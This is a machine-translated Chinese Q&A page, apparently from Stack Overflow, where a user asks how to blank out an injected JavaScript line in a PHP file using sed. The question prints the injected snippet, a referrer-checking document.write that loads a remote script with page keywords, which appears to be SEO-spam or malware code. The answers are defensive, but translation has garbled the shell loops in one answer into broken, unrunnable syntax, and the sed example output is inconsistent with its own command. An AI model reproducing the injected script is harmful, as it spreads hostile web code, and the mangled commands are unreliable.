我在.php文件中有一个脚本,如下所示:
var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}
我想在cmd行中用(1)空字符替换整行。可能吗?尝试用sed来做,但可能这是一个太复杂的字符串。想在var中设置字符串,但也没有用。有人有什么想法吗?
答案 0 :(得分:1)
这实际上是sed
擅长的东西。:)
sed -i '1s/.*/ /' your-file
示例:
$ cat test
one
two
three
$ sed '1s/.*/ /' < test
two
three
答案 1 :(得分:0)
在我的OS X上我测试了这个脚本:
for $ strnum(grep -n“qwe”test.txt | awk -F':''{print $ 1}');做cat test.txt | sed -i'.txt'$ strnum's /.*/ /'test.txt;完成
在CentOS上应该使用这个脚本:
for $ strnum(grep -n“qwe”test.txt | awk -F':''{print $ 1}');做cat test.txt | sed -i $ strnum的/.*/ /'test.txt;完成
你应该用你的模式替换qwe。它将替换所有可以找到模式的字符串。
要将正确的内容放在grep中,应该准备好。您应该创建具有所需模式的文件并启动命令:
echo'“'$(cat your_file | sed -e's |”| \\“| g')'”'
这个命令的结果应该替换为qwe(肯定是引号)。
你应该得到这样的东西:
for strnum in $(grep -n "var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+\"//\"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done